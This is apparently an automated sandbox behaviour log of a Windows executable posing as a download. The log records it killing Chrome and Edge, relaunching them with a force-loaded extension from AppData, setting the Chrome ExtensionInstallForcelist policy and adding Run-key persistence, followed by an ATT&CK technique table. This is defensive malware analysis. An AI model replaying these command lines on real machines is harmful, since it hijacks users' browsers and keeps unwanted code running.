Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --disable-nacl --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5838869208 --mojo-platform-channel-handle=3588 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x160,0x164,0x168,0x13c,0x1a4,0x7ffdd31a8e88,0x7ffdd31a8e98,0x7ffdd31a8ea8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=gpu-process --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1876 --field-trial-handle=2016,i,2864284278806494210,79671049654359720,262144 /prefetch:2
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1464 --field-trial-handle=2016,i,2864284278806494210,79671049654359720,262144 /prefetch:3
Source: unknownProcess created: C:\Users\user\Desktop\Your File Is Ready To Download.exe "C:\Users\user\Desktop\Your File Is Ready To Download.exe"
Source: unknownProcess created: C:\Users\user\Desktop\Your File Is Ready To Download.exe "C:\Users\user\Desktop\Your File Is Ready To Download.exe"
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" https://getfiles.wiki/welcome.php
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://getfiles.wiki/welcome.php
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://getfiles.wiki/welcome.php
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" https://getfiles.wiki/welcome.php
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Windows\SysWOW64\taskkill.exe /IM msedge.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Windows\SysWOW64\taskkill.exe /IM chrome.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Windows\SysWOW64\taskkill.exe /F /IM chrome.exe /T
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Windows\SysWOW64\taskkill.exe /F /IM msedge.exe /T
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2004,i,16211199081525446302,11786368910216131414,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x154,0x158,0x15c,0x130,0x1a4,0x7ffdd31a8e88,0x7ffdd31a8e98,0x7ffdd31a8ea8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x1bc,0x1c0,0x1c4,0x174,0x1c8,0x7ff6d9ff1368,0x7ff6d9ff1378,0x7ff6d9ff1388
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=7924 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=6436 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=3652 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=6980 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=8308 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=8456 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1228 --field-trial-handle=1992,i,15478457847577823314,11846488167821622926,262144 /prefetch:3
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" https://getfiles.wiki/welcome.php
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://getfiles.wiki/welcome.php
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x154,0x158,0x15c,0x130,0x1a4,0x7ffdd31a8e88,0x7ffdd31a8e98,0x7ffdd31a8ea8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=gpu-process --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2008 --field-trial-handle=1992,i,15478457847577823314,11846488167821622926,262144 /prefetch:2
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1228 --field-trial-handle=1992,i,15478457847577823314,11846488167821622926,262144 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2004,i,16211199081525446302,11786368910216131414,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x1bc,0x1c0,0x1c4,0x174,0x1c8,0x7ff6d9ff1368,0x7ff6d9ff1378,0x7ff6d9ff1388
Source: unknownProcess created: C:\Windows\System32\Taskmgr.exe "C:\Windows\system32\taskmgr.exe" /7
Source: unknownProcess created: C:\Windows\System32\Taskmgr.exe "C:\Windows\system32\taskmgr.exe" /7
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32
Source: C:\Windows\System32\Taskmgr.exeWindow found: window name: SysTabControl32
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\16.0\Access\Capabilities\UrlAssociations
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: \your file is ready to download.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_7807D6340FEC7246BC00DDFA59FA135D
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_7807D6340FEC7246BC00DDFA59FA135D
Source: C:\Windows\SysWOW64\taskkill.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Taskmgr.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Taskmgr.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Taskmgr.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Taskmgr.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Taskmgr.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Taskmgr.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Taskmgr.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Taskmgr.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Taskmgr.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Taskmgr.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Taskmgr.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Taskmgr.exeFile opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exe TID: 5848Thread sleep count: 40 > 30
Source: C:\Windows\SysWOW64\taskkill.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exeProcess token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

barindex
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeMemory written: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe base: 2A38A552D8
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://getfiles.wiki/welcome.php
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" https://getfiles.wiki/welcome.php
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" https://getfiles.wiki/welcome.php
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://getfiles.wiki/welcome.php
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Windows\SysWOW64\taskkill.exe /IM msedge.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Windows\SysWOW64\taskkill.exe /IM chrome.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Windows\SysWOW64\taskkill.exe /F /IM chrome.exe /T
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Windows\SysWOW64\taskkill.exe /F /IM msedge.exe /T
Source: unknownProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "c:\program files (x86)\microsoft\edgecore\117.0.2045.47\msedge.exe" --profile-directory=default --no-startup-window --load-extension="c:\users\user\appdata\local\serviceapp\apps-helper" --hide-crash-restore-bubble --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDate
Source: C:\Windows\System32\Taskmgr.exeQueries volume information: C:\ProgramData\Microsoft\User Account Pictures\user.png VolumeInformation
Source: C:\Windows\System32\Taskmgr.exeQueries volume information: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppTiles\StoreAppList.scale-100.png VolumeInformation
Source: C:\Windows\System32\Taskmgr.exeQueries volume information: C:\Windows\ImmersiveControlPanel\images\logo.scale-100.png VolumeInformation
Source: C:\Windows\System32\Taskmgr.exeQueries volume information: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Assets\SquareLogo44x44.scale-100.png VolumeInformation
Source: C:\Windows\System32\Taskmgr.exeQueries volume information: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Assets\SquareLogo44x44.scale-100.png VolumeInformation
Source: C:\Windows\System32\Taskmgr.exeQueries volume information: C:\Windows\ImmersiveControlPanel\images\logo.scale-100.png VolumeInformation
Source: C:\Windows\System32\Taskmgr.exeQueries volume information: C:\Windows\System32\RuntimeBroker.exe VolumeInformation
Source: C:\Windows\System32\Taskmgr.exeQueries volume information: C:\Windows\System32\RuntimeBroker.exe VolumeInformation
Source: C:\Windows\System32\Taskmgr.exeQueries volume information: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Assets\SmallLogo.scale-100.png VolumeInformation
Source: C:\Windows\System32\Taskmgr.exeQueries volume information: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\Assets\Icons\AppListIcon.scale-100.png VolumeInformation
Source: C:\Windows\System32\Taskmgr.exeQueries volume information: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\Assets\Icons\AppListIcon.scale-100.png VolumeInformation
Source: C:\Windows\System32\Taskmgr.exeQueries volume information: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Assets\SmallLogo.scale-100.png VolumeInformation

Lowering of HIPS / PFW / Operating System Security Settings

barindex
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\google\chrome\ExtensionInstallForcelist
Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpactResource DevelopmentReconnaissance
Valid Accounts1
Windows Management Instrumentation
11
Browser Extensions
111
Process Injection
1
Masquerading
OS Credential Dumping1
Security Software Discovery
Remote Services1
Browser Session Hijacking
Exfiltration Over Other Network Medium2
Encrypted Channel
Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationAbuse Accessibility FeaturesAcquire InfrastructureGather Victim Identity Information
Default Accounts1
Command and Scripting Interpreter
11
Registry Run Keys / Startup Folder
11
Registry Run Keys / Startup Folder
1
Disable or Modify Tools
LSASS Memory2
